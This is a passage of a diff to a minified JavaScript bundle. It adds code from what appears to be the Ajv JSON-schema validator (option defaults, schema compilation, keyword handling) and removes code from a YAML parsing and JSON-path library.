'"nullable" keyword is supported by default.', jsonPointers: "Deprecated jsPropertySyntax can be used instead.", extendRefs: "Deprecated ignoreKeywordsWithRef can be used instead.", missingRefs: "Pass empty schema with $id that should be ignored to ajv.addSchema.", processCode: "Use option `code: {process: (code, schemaEnv: object) => string}`", sourceCode: "Use option `code: {source: true}`", strictDefaults: "It is default now, see option `strict`.", strictKeywords: "It is default now, see option `strict`.", uniqueItems: '"uniqueItems" keyword is always validated.', unknownFormats: "Disable strict mode or pass `true` to `ajv.addFormat` (or `formats` option).", cache: "Map is used as cache, schema object as key.", serialize: "Map is used as cache, schema object as key.", ajvErrors: "It is default now." }, v8 = { ignoreKeywordsWithRef: "", jsPropertySyntax: "", unicode: '"minLength"/"maxLength" account for unicode characters by default.' }; + function j6(e12) { + var t10, i9, n9, r9, o8, s8, a8, p8, c8, d8, f9, l8, u8, y8, g8, b9, v9, j7, $6, x8, _7, w7, S7, P7, O8; + const T7 = e12.strict, A7 = null === (t10 = e12.code) || void 0 === t10 ? void 0 : t10.optimize, I7 = true === A7 || void 0 === A7 ? 1 : A7 || 0, E7 = null !== (n9 = null === (i9 = e12.code) || void 0 === i9 ? void 0 : i9.regExp) && void 0 !== n9 ? n9 : h8, q6 = null !== (r9 = e12.uriResolver) && void 0 !== r9 ? r9 : m7.default; + return { strictSchema: null === (s8 = null !== (o8 = e12.strictSchema) && void 0 !== o8 ? o8 : T7) || void 0 === s8 || s8, strictNumbers: null === (p8 = null !== (a8 = e12.strictNumbers) && void 0 !== a8 ? a8 : T7) || void 0 === p8 || p8, strictTypes: null !== (d8 = null !== (c8 = e12.strictTypes) && void 0 !== c8 ? c8 : T7) && void 0 !== d8 ? d8 : "log", strictTuples: null !== (l8 = null !== (f9 = e12.strictTuples) && void 0 !== f9 ? f9 : T7) && void 0 !== l8 ? l8 : "log", strictRequired: null !== (y8 = null !== (u8 = e12.strictRequired) && void 0 !== u8 ? u8 : T7) && void 0 !== y8 && y8, code: e12.code ? { ...e12.code, optimize: I7, regExp: E7 } : { optimize: I7, regExp: E7 }, loopRequired: null !== (g8 = e12.loopRequired) && void 0 !== g8 ? g8 : 200, loopEnum: null !== (b9 = e12.loopEnum) && void 0 !== b9 ? b9 : 200, meta: null === (v9 = e12.meta) || void 0 === v9 || v9, messages: null === (j7 = e12.messages) || void 0 === j7 || j7, inlineRefs: null === ($6 = e12.inlineRefs) || void 0 === $6 || $6, schemaId: null !== (x8 = e12.schemaId) && void 0 !== x8 ? x8 : "$id", addUsedSchema: null === (_7 = e12.addUsedSchema) || void 0 === _7 || _7, validateSchema: null === (w7 = e12.validateSchema) || void 0 === w7 || w7, validateFormats: null === (S7 = e12.validateFormats) || void 0 === S7 || S7, unicodeRegExp: null === (P7 = e12.unicodeRegExp) || void 0 === P7 || P7, int32range: null === (O8 = e12.int32range) || void 0 === O8 || O8, uriResolver: q6 }; + } + class $5 { + constructor(e12 = {}) { + this.schemas = {}, this.refs = {}, this.formats = {}, this._compilations = /* @__PURE__ */ new Set(), this._loading = {}, this._cache = /* @__PURE__ */ new Map(), e12 = this.opts = { ...e12, ...j6(e12) }; + const { es5: t10, lines: i9 } = this.opts.code; + this.scope = new c7.ValueScope({ scope: {}, prefixes: g7, es5: t10, lines: i9 }), this.logger = function(e13) { + if (false === e13) + return T6; + if (void 0 === e13) + return console; + if (e13.log && e13.warn && e13.error) + return e13; + throw new Error("logger must implement log, warn and error methods"); + }(e12.logger); + const n9 = e12.validateFormats; + e12.validateFormats = false, this.RULES = (0, a7.getRules)(), x7.call(this, b8, e12, "NOT SUPPORTED"), x7.call(this, v8, e12, "DEPRECATED", "warn"), this._metaOpts = O7.call(this), e12.formats && S6.call(this), this._addVocabularies(), this._addDefaultMetaSchema(), e12.keywords && P6.call(this, e12.keywords), "object" == typeof e12.meta && this.addMetaSchema(e12.meta), w6.call(this), e12.validateFormats = n9; } - return true; - }, construct: function(e12) { - return null !== e12 ? e12 : []; - } }); - }, 95967: (e11, t9, i8) => { - "use strict"; - const n8 = i8(23697), r8 = i8(37952); - var o7 = Object.prototype.toString; - e11.exports = new n8.Type("tag:yaml.org,2002:pairs", { kind: "sequence", resolve: function(e12) { - if (null === e12) - return true; - if (e12.kind != r8.Kind.SEQ) - return false; - var t10, i9, n9, s7 = e12.items; - for (t10 = 0, i9 = s7.length; t10 < i9; t10 += 1) { - if (n9 = s7[t10], "[object Object]" !== o7.call(n9)) - return false; - if (!Array.isArray(n9.mappings)) - return false; - if (1 !== n9.mappings.length) - return false; + _addVocabularies() { + this.addKeyword("$async"); } - return true; - }, construct: function(e12) { - if (null === e12 || !Array.isArray(e12.items)) - return []; - let t10, i9, n9, o8 = e12.items; - for (n9 = r8.newItems(), n9.parent = e12.parent, n9.startPosition = e12.startPosition, n9.endPosition = e12.endPosition, t10 = 0, i9 = o8.length; t10 < i9; t10 += 1) { - let e13 = o8[t10].mappings[0], i10 = r8.newItems(); - i10.parent = n9, i10.startPosition = e13.key.startPosition, i10.endPosition = e13.value.startPosition, e13.key.parent = i10, e13.value.parent = i10, i10.items = [e13.key, e13.value], n9.items.push(i10); + _addDefaultMetaSchema() { + const { $data: e12, meta: t10, schemaId: i9 } = this.opts; + let n9 = u7; + "id" === i9 && (n9 = { ...u7 }, n9.id = n9.$id, delete n9.$id), t10 && e12 && this.addMetaSchema(n9, n9[i9], false); } - return n9; - } }); - }, 62021: (e11, t9, i8) => { - "use strict"; - const n8 = i8(23697); - e11.exports = new n8.Type("tag:yaml.org,2002:seq", { kind: "sequence", construct: function(e12) { - return null !== e12 ? e12 : []; - } }); - }, 33530: (e11, t9, i8) => { - "use strict"; - const n8 = i8(23697), r8 = i8(37952); - Object.prototype.hasOwnProperty, e11.exports = new n8.Type("tag:yaml.org,2002:set", { kind: "mapping", resolve: function(e12) { - return null === e12 || e12.kind == r8.Kind.MAP; - }, construct: function(e12) { - return null !== e12 ? e12 : {}; - } }); - }, 41381: (e11, t9, i8) => { - "use strict"; - const n8 = i8(23697); - e11.exports = new n8.Type("tag:yaml.org,2002:str", { kind: "scalar", construct: function(e12) { - return null !== e12 ? e12 : ""; - } }); - }, 25138: (e11, t9, i8) => { - "use strict"; - const n8 = i8(23697); - var r8 = new RegExp("^([0-9][0-9][0-9][0-9])-([0-9][0-9]?)-([0-9][0-9]?)(?:(?:[Tt]|[ \\t]+)([0-9][0-9]?):([0-9][0-9]):([0-9][0-9])(?:\\.([0-9]*))?(?:[ \\t]*(Z|([-+])([0-9][0-9]?)(?::([0-9][0-9]))?))?)?$"); - e11.exports = new n8.Type("tag:yaml.org,2002:timestamp", { kind: "scalar", resolve: function(e12) { - return null !== e12 && null !== r8.exec(e12); - }, construct: function(e12) { - var t10, i9, n9, o7, s7, a7, p7, c7, d7 = 0, f8 = null; - if (null === (t10 = r8.exec(e12))) - throw new Error("Date resolve error"); - if (i9 = +t10[1], n9 = +t10[2] - 1, o7 = +t10[3], !t10[4]) - return new Date(Date.UTC(i9, n9, o7)); - if (s7 = +t10[4], a7 = +t10[5], p7 = +t10[6], t10[7]) { - for (d7 = t10[7].slice(0, 3); d7.length < 3; ) - d7 += "0"; - d7 = +d7; + defaultMeta() { + const { meta: e12, schemaId: t10 } = this.opts; + return this.opts.defaultMeta = "object" == typeof e12 ? e12[t10] || e12 : void 0; } - return t10[9] && (f8 = 6e4 * (60 * +t10[10] + +(t10[11] || 0)), "-" === t10[9] && (f8 = -f8)), c7 = new Date(Date.UTC(i9, n9, o7, s7, a7, p7, d7)), f8 && c7.setTime(c7.getTime() - f8), c7; - }, instanceOf: Date, represent: function(e12) { - return e12.toISOString(); - } }); - }, 37952: (e11, t9) => { - "use strict"; - var i8; - function n8() { - return { errors: [], startPosition: -1, endPosition: -1, items: [], kind: i8.SEQ, parent: null }; - } - Object.defineProperty(t9, "__esModule", { value: true }), function(e12) { - e12[e12.SCALAR = 0] = "SCALAR", e12[e12.MAPPING = 1] = "MAPPING", e12[e12.MAP = 2] = "MAP", e12[e12.SEQ = 3] = "SEQ", e12[e12.ANCHOR_REF = 4] = "ANCHOR_REF", e12[e12.INCLUDE_REF = 5] = "INCLUDE_REF"; - }(i8 = t9.Kind || (t9.Kind = {})), t9.newMapping = function(e12, t10) { - var n9 = t10 ? t10.endPosition : e12.endPosition + 1; - return { key: e12, value: t10, startPosition: e12.startPosition, endPosition: n9, kind: i8.MAPPING, parent: null, errors: [] }; - }, t9.newAnchorRef = function(e12, t10, n9, r8) { - return { errors: [], referencesAnchor: e12, value: r8, startPosition: t10, endPosition: n9, kind: i8.ANCHOR_REF, parent: null }; - }, t9.newScalar = function(e12 = "") { - const t10 = { errors: [], startPosition: -1, endPosition: -1, value: "" + e12, kind: i8.SCALAR, parent: null, doubleQuoted: false, rawValue: "" + e12 }; - return "string" != typeof e12 && (t10.valueObject = e12), t10; - }, t9.newItems = n8, t9.newSeq = function() { - return n8(); - }, t9.newMap = function(e12) { - return { errors: [], startPosition: -1, endPosition: -1, mappings: e12 || [], kind: i8.MAP, parent: null }; - }; - }, 2185: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(82585), r8 = i8(88725); - t9.buildJsonPath = function(e12) { - const t10 = []; - let i9 = e12; - for (; e12; ) { - switch (e12.kind) { - case n8.Kind.SCALAR: - t10.unshift(e12.value); - break; - case n8.Kind.MAPPING: - i9 !== e12.key && (t10.length > 0 && r8.isObject(e12.value) && e12.value.value === t10[0] ? t10[0] = e12.key.value : t10.unshift(e12.key.value)); - break; - case n8.Kind.SEQ: - if (i9) { - const r9 = e12.items.indexOf(i9); - i9.kind === n8.Kind.SCALAR ? t10[0] = r9 : -1 !== r9 && t10.unshift(r9); - } - } - i9 = e12, e12 = e12.parent; + validate(e12, t10) { + let i9; + if ("string" == typeof e12) { + if (i9 = this.getSchema(e12), !i9) + throw new Error(`no schema with key or ref "${e12}"`); + } else + i9 = this.compile(e12); + const n9 = i9(t10); + return "$async" in i9 || (this.errors = i9.errors), n9; } - return t10; - }; - }, 79157: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(82585), r8 = i8(88725); - t9.dereferenceAnchor = (e12, i9) => { - if (!r8.isObject(e12)) - return e12; - if (e12.kind === n8.Kind.ANCHOR_REF && e12.referencesAnchor === i9) - return null; - switch (e12.kind) { - case n8.Kind.MAP: - return Object.assign({}, e12, { mappings: e12.mappings.map((e13) => t9.dereferenceAnchor(e13, i9)) }); - case n8.Kind.SEQ: - return Object.assign({}, e12, { items: e12.items.map((e13) => t9.dereferenceAnchor(e13, i9)) }); - case n8.Kind.MAPPING: - return Object.assign({}, e12, { value: t9.dereferenceAnchor(e12.value, i9) }); - case n8.Kind.SCALAR: - return e12; - case n8.Kind.ANCHOR_REF: - return r8.isObject(e12.value) && o7(e12) ? null : e12; - default: - return e12; + compile(e12, t10) { + const i9 = this._addSchema(e12, t10); + return i9.validate || this._compileSchemaEnv(i9); } - }; - const o7 = (e12) => { - const { referencesAnchor: t10 } = e12; - let i9 = e12; - for (; i9 = i9.parent; ) - if ("anchorId" in i9 && i9.anchorId === t10) - return true; - return false; - }; - }, 77665: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(2185), r8 = i8(82585), o7 = i8(88725); - function s7(e12, t10, i9) { - const n9 = i9[t10 - 1] + 1, o8 = i9[t10]; - switch (e12.kind) { - case r8.Kind.MAPPING: - return e12.key; - case r8.Kind.MAP: - if (0 !== e12.mappings.length) { - for (const r9 of e12.mappings) - if (r9.startPosition > n9 && r9.startPosition <= o8) - return s7(r9, t10, i9); + compileAsync(e12, t10) { + if ("function" != typeof this.opts.loadSchema) + throw new Error("options.loadSchema should be a function"); + const { loadSchema: i9 } = this.opts; + return n9.call(this, e12, t10); + async function n9(e13, t11) { + await r9.call(this, e13.$schema); + const i10 = this._addSchema(e13, t11); + return i10.validate || o8.call(this, i10); + } + async function r9(e13) { + e13 && !this.getSchema(e13) && await n9.call(this, { $ref: e13 }, true); + } + async function o8(e13) { + try { + return this._compileSchemaEnv(e13); + } catch (t11) { + if (!(t11 instanceof s7.default)) + throw t11; + return a8.call(this, t11), await p8.call(this, t11.missingSchema), o8.call(this, e13); } - break; - case r8.Kind.SEQ: - if (0 !== e12.items.length) { - for (const r9 of e12.items) - if (null !== r9 && r9.startPosition > n9 && r9.startPosition <= o8) - return s7(r9, t10, i9); + } + function a8({ missingSchema: e13, missingRef: t11 }) { + if (this.refs[e13]) + throw new Error(`AnySchema ${e13} is loaded but ${t11} cannot be resolved`); + } + async function p8(e13) { + const i10 = await c8.call(this, e13); + this.refs[e13] || await r9.call(this, i10.$schema), this.refs[e13] || this.addSchema(i10, e13, t10); + } + async function c8(e13) { + const t11 = this._loading[e13]; + if (t11) + return t11; + try { + return await (this._loading[e13] = i9(e13)); + } finally { + delete this._loading[e13]; } + } } - return e12; - } - function a7(e12, t10, i9, n9) { - for (const s8 of function* (e13) { - switch (e13.kind) { - case r8.Kind.MAP: - if (0 !== e13.mappings.length) - for (const t11 of e13.mappings) - o7.isObject(t11) && (yield t11); - break; - case r8.Kind.MAPPING: - o7.isObject(e13.key) && (yield e13.key), o7.isObject(e13.value) && (yield e13.value); - break; - case r8.Kind.SEQ: - if (0 !== e13.items.length) - for (const t11 of e13.items) - o7.isObject(t11) && (yield t11); - break; - case r8.Kind.SCALAR: - yield e13; + addSchema(e12, t10, i9, n9 = this.opts.validateSchema) { + if (Array.isArray(e12)) { + for (const t11 of e12) + this.addSchema(t11, void 0, i9, n9); + return this; } - }(e12)) - if (s8.startPosition <= t10 && t10 <= s8.endPosition) - return s8.kind === r8.Kind.SCALAR ? s8 : a7(s8, t10, i9, n9); - if (n9[i9 - 1] === n9[i9] - 1) - return e12; - if (e12.startPosition < n9[i9 - 1] && t10 <= e12.endPosition) { - if (e12.kind !== r8.Kind.MAPPING) - return s7(e12, i9, n9); - if (e12.value && e12.key.endPosition < t10) - return s7(e12.value, i9, n9); + let r9; + if ("object" == typeof e12) { + const { schemaId: t11 } = this.opts; + if (r9 = e12[t11], void 0 !== r9 && "string" != typeof r9) + throw new Error(`schema ${t11} must be string`); + } + return t10 = (0, d7.normalizeId)(t10 || r9), this._checkUnique(t10), this.schemas[t10] = this._addSchema(e12, i9, t10, n9, true), this; } - return e12; - } - t9.getJsonPathForPosition = ({ ast: e12, lineMap: t10 }, { line: i9, character: r9 }) => { - if (i9 >= t10.length || r9 >= t10[i9]) - return; - const s8 = 0 === i9 ? 0 : t10[i9 - 1] + 1, p7 = a7(e12, Math.min(t10[i9] - 1, s8 + r9), i9, t10); - if (!o7.isObject(p7)) - return; - const c7 = n8.buildJsonPath(p7); - return 0 !== c7.length ? c7 : void 0; - }; - }, 70581: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(61162), r8 = i8(82585), o7 = i8(88725); - function s7(e12, t10) { - if (e12.parent && e12.parent.kind === r8.Kind.MAPPING) { - if (null === e12.parent.value) - return e12.parent.endPosition; - if (e12.kind !== r8.Kind.SCALAR) - return e12.parent.key.endPosition + 1; + addMetaSchema(e12, t10, i9 = this.opts.validateSchema) { + return this.addSchema(e12, t10, true, i9), this; } - return null === e12.parent && t10 - e12.startPosition == 0 ? 0 : e12.startPosition; - } - function a7(e12) { - switch (e12.kind) { - case r8.Kind.SEQ: - const { items: t10 } = e12; - if (0 !== t10.length) { - const e13 = t10[t10.length - 1]; - if (null !== e13) - return a7(e13); - } - break; - case r8.Kind.MAPPING: - if (null !== e12.value) - return a7(e12.value); - break; - case r8.Kind.MAP: - if (null !== e12.value && 0 !== e12.mappings.length) - return a7(e12.mappings[e12.mappings.length - 1]); - break; - case r8.Kind.SCALAR: - if (null !== e12.parent && e12.parent.kind === r8.Kind.MAPPING && null === e12.parent.value) - return e12.parent.endPosition; + validateSchema(e12, t10) { + if ("boolean" == typeof e12) + return true; + let i9; + if (i9 = e12.$schema, void 0 !== i9 && "string" != typeof i9) + throw new Error("$schema must be a string"); + if (i9 = i9 || this.opts.defaultMeta || this.defaultMeta(), !i9) + return this.logger.warn("meta-schema not available"), this.errors = null, true; + const n9 = this.validate(i9, e12); + if (!n9 && t10) { + const e13 = "schema is invalid: " + this.errorsText(); + if ("log" !== this.opts.validateSchema) + throw new Error(e13); + this.logger.error(e13); + } + return n9; } - return e12.endPosition; - } - function p7(e12, t10) { - return t10 ? e12.reduce((e13, t11) => (o7.isObject(t11) && ("<<" === t11.key.value ? e13.push(...c7(t11.value)) : e13.push(t11)), e13), []) : e12; - } - function c7(e12) { - if (!o7.isObject(e12)) - return []; - switch (e12.kind) { - case r8.Kind.SEQ: - return e12.items.reduceRight((e13, t10) => (e13.push(...c7(t10)), e13), []); - case r8.Kind.MAP: - return e12.mappings; - case r8.Kind.ANCHOR_REF: - return c7(e12.value); - default: - return []; + getSchema(e12) { + let t10; + for (; "string" == typeof (t10 = _6.call(this, e12)); ) + e12 = t10; + if (void 0 === t10) { + const { schemaId: i9 } = this.opts, n9 = new p7.SchemaEnv({ schema: {}, schemaId: i9 }); + if (t10 = p7.resolveSchema.call(this, n9, e12), !t10) + return; + this.refs[e12] = t10; + } + return t10.validate || this._compileSchemaEnv(t10); } - } - t9.getLocationForJsonPath = ({ ast: e12, lineMap: t10, metadata: i9 }, n9, c8 = false) => { - const f8 = function(e13, t11, { closest: i10, mergeKeys: n10 }) { - e: - for (const s8 of t11) { - if (!o7.isObject(e13)) - return i10 ? e13 : void 0; - switch (e13.kind) { - case r8.Kind.MAP: - const t12 = p7(e13.mappings, n10); - for (let i11 = t12.length - 1; i11 >= 0; i11--) { - const n11 = t12[i11]; - if (n11.key.value === s8) { - e13 = null === n11.value ? n11.key : n11.value; - continue e; - } - } - return i10 ? e13 : void 0; - case r8.Kind.SEQ: - for (let t13 = 0; t13 < e13.items.length; t13++) - if (t13 === Number(s8)) { - const i11 = e13.items[t13]; - if (null === i11) - break; - e13 = i11; - continue e; - } - return i10 ? e13 : void 0; - default: - return i10 ? e13 : void 0; - } - } - return e13; - }(e12, n9, { closest: c8, mergeKeys: void 0 !== i9 && true === i9.mergeKeys }); - if (void 0 !== f8) - return d7(t10, { start: s7(f8, t10.length > 0 ? t10[0] : 0), end: a7(f8) }); - }; - const d7 = (e12, { start: t10 = 0, end: i9 = 0 }) => { - const r9 = n8.lineForPosition(t10, e12), o8 = n8.lineForPosition(i9, e12); - return { range: { start: { line: r9, character: t10 - (0 === r9 ? 0 : e12[r9 - 1]) }, end: { line: o8, character: i9 - (0 === o8 ? 0 : e12[o8 - 1]) } } }; - }; - }, 3740: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(29180); - n8.__exportStar(i8(2185), t9), n8.__exportStar(i8(79157), t9), n8.__exportStar(i8(77665), t9), n8.__exportStar(i8(70581), t9), n8.__exportStar(i8(61162), t9); - var r8 = i8(36527); - t9.parse = r8.parse; - var o7 = i8(53241); - t9.parseWithPointers = o7.parseWithPointers, n8.__exportStar(i8(74958), t9), n8.__exportStar(i8(82585), t9), n8.__exportStar(i8(60519), t9); - }, 61162: (e11, t9) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.lineForPosition = (e12, i8, n8 = 0, r8) => { - if (0 === e12 || 0 === i8.length || e12 < i8[0]) - return 0; - void 0 === r8 && (r8 = i8.length); - const o7 = Math.floor((r8 - n8) / 2) + n8; - if (e12 >= i8[o7] && !i8[o7 + 1]) - return o7 + 1; - const s7 = i8[Math.min(o7 + 1, i8.length)]; - return e12 === i8[o7] - 1 ? o7 : e12 >= i8[o7] && e12 <= s7 ? e12 === s7 ? o7 + 2 : o7 + 1 : e12 > i8[o7] ? t9.lineForPosition(e12, i8, o7 + 1, r8) : t9.lineForPosition(e12, i8, n8, o7 - 1); - }; - }, 36527: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(53241); - t9.parse = (e12) => n8.parseWithPointers(e12).data; - }, 53241: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(93643), r8 = i8(29824), o7 = i8(85725), s7 = i8(2185), a7 = i8(79157), p7 = i8(61162), c7 = i8(82585), d7 = i8(88725); - t9.parseWithPointers = (e12, t10) => { - const i9 = h8(e12), n9 = o7.load(e12, Object.assign({}, t10, { ignoreDuplicateKeys: true })), r9 = { ast: n9, lineMap: i9, data: void 0, diagnostics: [], metadata: t10, comments: {} }; - if (!n9) - return r9; - const s8 = function(e13) { - return void 0 === e13 ? { attachComments: false, preserveKeyOrder: false, bigInt: false, mergeKeys: false, json: true, ignoreDuplicateKeys: false } : Object.assign({}, e13, { attachComments: true === e13.attachComments, preserveKeyOrder: true === e13.preserveKeyOrder, bigInt: true === e13.bigInt, mergeKeys: true === e13.mergeKeys, json: false !== e13.json, ignoreDuplicateKeys: false !== e13.ignoreDuplicateKeys }); - }(t10), a8 = new P6(r9.comments, P6.mapComments(s8.attachComments && n9.comments ? n9.comments : [], i9), n9, i9, "#"), p8 = { lineMap: i9, diagnostics: r9.diagnostics }; - return r9.data = u7(p8, n9, a8, s8), n9.errors && r9.diagnostics.push(...g7(n9.errors, i9)), r9.diagnostics.length > 0 && r9.diagnostics.sort((e13, t11) => e13.range.start.line - t11.range.start.line), Array.isArray(r9.ast.errors) && (r9.ast.errors.length = 0), r9; - }; - const f8 = /~/g, l7 = /\//g, u7 = (e12, t10, i9, n9) => { - if (t10) - switch (t10.kind) { - case c7.Kind.MAP: { - const r9 = i9.enter(t10), { lineMap: o8, diagnostics: s8 } = e12, { preserveKeyOrder: a8, ignoreDuplicateKeys: p8, json: c8, mergeKeys: d8 } = n9, h9 = v8(a8), y8 = [], g8 = d8, j7 = !c8, _7 = !p8; - for (const i10 of t10.mappings) { - if (!x7(i10, o8, s8, j7)) - continue; - const t11 = String(m7(i10.key)), p9 = r9.enter(i10, t11.replace(f8, "~0").replace(l7, "~1")); - if ((j7 || _7) && (!g8 || "<<" !== t11)) - if (y8.includes(t11)) { - if (j7) - throw new Error("Duplicate YAML mapping key encountered"); - _7 && s8.push(w6(i10.key, o8, "duplicate key")); - } else - y8.push(t11); - if (g8 && "<<" === t11) { - const t12 = b8(u7(e12, i10.value, p9, n9), a8); - Object.assign(h9, t12); - } else - h9[t11] = u7(e12, i10.value, p9, n9), a8 && $5(h9, t11); - p9.attachComments(); - } - return r9.attachComments(), h9; - } - case c7.Kind.SEQ: { - const r9 = i9.enter(t10), o8 = t10.items.map((t11, i10) => { - if (null !== t11) { - const o9 = r9.enter(t11, i10), s8 = u7(e12, t11, o9, n9); - return o9.attachComments(), s8; - } - return null; - }); - return r9.attachComments(), o8; + removeSchema(e12) { + if (e12 instanceof RegExp) + return this._removeAllSchemas(this.schemas, e12), this._removeAllSchemas(this.refs, e12), this; + switch (typeof e12) { + case "undefined": + return this._removeAllSchemas(this.schemas), this._removeAllSchemas(this.refs), this._cache.clear(), this; + case "string": { + const t10 = _6.call(this, e12); + return "object" == typeof t10 && this._cache.delete(t10.schema), delete this.schemas[e12], delete this.refs[e12], this; } - case c7.Kind.SCALAR: { - const e13 = m7(t10); - return n9.bigInt || "bigint" != typeof e13 ? e13 : Number(e13); + case "object": { + const t10 = e12; + this._cache.delete(t10); + let i9 = e12[this.opts.schemaId]; + return i9 && (i9 = (0, d7.normalizeId)(i9), delete this.schemas[i9], delete this.refs[i9]), this; } - case c7.Kind.ANCHOR_REF: - return d7.isObject(t10.value) && (t10.value = a7.dereferenceAnchor(t10.value, t10.referencesAnchor)), u7(e12, t10.value, i9, n9); default: - return null; + throw new Error("ajv.removeSchema: invalid parameter"); } - return t10; - }; - function m7(e12) { - switch (o7.determineScalarType(e12)) { - case c7.ScalarType.null: - return null; - case c7.ScalarType.string: - return String(e12.value); - case c7.ScalarType.bool: - return o7.parseYamlBoolean(e12.value); - case c7.ScalarType.int: - return o7.parseYamlBigInteger(e12.value); - case c7.ScalarType.float: - return o7.parseYamlFloat(e12.value); - } - } - const h8 = (e12) => { - const t10 = []; - let i9 = 0; - for (; i9 < e12.length; i9++) - "\n" === e12[i9] && t10.push(i9 + 1); - return t10.push(i9 + 1), t10; - }; - function y7(e12, t10) { - return 0 === t10 ? Math.max(0, e12[0] - 1) : Math.max(0, e12[t10] - e12[t10 - 1] - 1); - } - const g7 = (e12, t10) => { - const i9 = []; - let n9 = -1, o8 = 0; - for (const s8 of e12) { - const e13 = { code: s8.name, message: s8.reason, severity: s8.isWarning ? r8.DiagnosticSeverity.Warning : r8.DiagnosticSeverity.Error, range: { start: { line: s8.mark.line, character: s8.mark.column }, end: { line: s8.mark.line, character: s8.mark.toLineEnd ? y7(t10, s8.mark.line) : s8.mark.column } } }; - "missed comma between flow collection entries" === s8.reason ? n9 = -1 === n9 ? o8 : n9 : -1 !== n9 && (i9[n9].range.end = e13.range.end, i9[n9].message = "invalid mixed usage of block and flow styles", i9.length = n9 + 1, o8 = i9.length, n9 = -1), i9.push(e13), o8++; } - return i9; - }, b8 = (e12, t10) => Array.isArray(e12) ? e12.reduceRight(t10 ? (e13, t11) => { - const i9 = Object.keys(t11); - Object.assign(e13, t11); - for (let t12 = i9.length - 1; t12 >= 0; t12--) - r9 = e13, o8 = i9[t12], j6(r9, o8), n8.getOrder(r9).unshift(o8); - var r9, o8; - return e13; - } : (e13, t11) => Object.assign(e13, t11), v8(t10)) : "object" != typeof e12 || null === e12 ? null : Object(e12); - function v8(e12) { - return e12 ? n8.default({}) : {}; - } - function j6(e12, t10) { - if (!(t10 in e12)) - return; - const i9 = n8.getOrder(e12), r9 = i9.indexOf(t10); - -1 !== r9 && i9.splice(r9, 1); - } - function $5(e12, t10) { - j6(e12, t10), n8.getOrder(e12).push(t10); - } - function x7(e12, t10, i9, n9) { - if (e12.key.kind !== c7.Kind.SCALAR) - return n9 || i9.push(_6(e12.key, t10, "mapping key must be a string scalar", n9)), false; - if (!n9) { - const r9 = typeof m7(e12.key); - "string" !== r9 && i9.push(_6(e12.key, t10, `mapping key must be a string scalar rather than ${null === e12.key.valueObject ? "null" : r9}`, n9)); + addVocabulary(e12) { + for (const t10 of e12) + this.addKeyword(t10); + return this; } - return true; - } - function _6(e12, t10, i9, n9) { - const o8 = w6(e12, t10, i9); - return o8.code = "YAMLIncompatibleValue", o8.severity = n9 ? r8.DiagnosticSeverity.Hint : r8.DiagnosticSeverity.Warning, o8; - } - function w6(e12, t10, i9) { - return { code: "YAMLException", message: i9, severity: r8.DiagnosticSeverity.Error, path: s7.buildJsonPath(e12), range: S6(t10, e12.startPosition, e12.endPosition) }; - } - function S6(e12, t10, i9) { - const n9 = p7.lineForPosition(t10, e12), r9 = p7.lineForPosition(i9, e12); - return { start: { line: n9, character: 0 === n9 ? t10 : t10 - e12[n9 - 1] }, end: { line: r9, character: 0 === r9 ? i9 : i9 - e12[r9 - 1] } }; - } - class P6 { - constructor(e12, t10, i9, n9, r9) { - if (this.attachedComments = e12, this.node = i9, this.lineMap = n9, this.pointer = r9, 0 === t10.length) - this.comments = []; + addKeyword(e12, t10) { + let i9; + if ("string" == typeof e12) + i9 = e12, "object" == typeof t10 && (this.logger.warn("these parameters are deprecated, see docs for addKeyword"), t10.keyword = i9); else { - const e13 = this.getStartPosition(i9), n10 = this.getEndPosition(i9), r10 = p7.lineForPosition(e13, this.lineMap), o8 = p7.lineForPosition(n10, this.lineMap), s8 = []; - for (let e14 = t10.length - 1; e14 >= 0; e14--) { - const i10 = t10[e14]; - i10.range.start.line >= r10 && i10.range.end.line <= o8 && (s8.push(i10), t10.splice(e14, 1)); - } - this.comments = s8; + if ("object" != typeof e12 || void 0 !== t10) + throw new Error("invalid addKeywords parameters"); + if (i9 = (t10 = e12).keyword, Array.isArray(i9) && !i9.length) + throw new Error("addKeywords: keyword must be string or non-empty array"); } + if (I6.call(this, i9, t10), !t10) + return (0, l7.eachItem)(i9, (e13) => E6.call(this, e13)), this; + k6.call(this, t10); + const n9 = { ...t10, type: (0, f8.getJSONTypes)(t10.type), schemaType: (0, f8.getJSONTypes)(t10.schemaType) }; + return (0, l7.eachItem)(i9, 0 === n9.type.length ? (e13) => E6.call(this, e13, n9) : (e13) => n9.type.forEach((t11) => E6.call(this, e13, n9, t11))), this; } - getStartPosition(e12) { - return null === e12.parent ? 0 : e12.kind === c7.Kind.MAPPING ? e12.key.startPosition : e12.startPosition; + getKeyword(e12) { + const t10 = this.RULES.all[e12]; + return "object" == typeof t10 ? t10.definition : !!t10; } - getEndPosition(e12) { - switch (e12.kind) { - case c7.Kind.MAPPING: - return null === e12.value ? e12.endPosition : this.getEndPosition(e12.value); - case c7.Kind.MAP: - return 0 === e12.mappings.length ? e12.endPosition : e12.mappings[e12.mappings.length - 1].endPosition; - case c7.Kind.SEQ: { - if (0 === e12.items.length) - return e12.endPosition; - const t10 = e12.items[e12.items.length - 1]; - return null === t10 ? e12.endPosition : t10.endPosition; - } - default: - return e12.endPosition; + removeKeyword(e12) { + const { RULES: t10 } = this; + delete t10.keywords[e12], delete t10.all[e12]; + for (const i9 of t10.rules) { + const t11 = i9.rules.findIndex((t12) => t12.keyword === e12); + t11 >= 0 && i9.rules.splice(t11, 1); } + return this; } - static mapComments(e12, t10) { - return e12.map((e13) => ({ value: e13.value, range: S6(t10, e13.startPosition, e13.endPosition), startPosition: e13.startPosition, endPosition: e13.endPosition })); + addFormat(e12, t10) { + return "string" == typeof t10 && (t10 = new RegExp(t10)), this.formats[e12] = t10, this; } - enter(e12, t10) { - return new P6(this.attachedComments, this.comments, e12, this.lineMap, void 0 === t10 ? this.pointer : 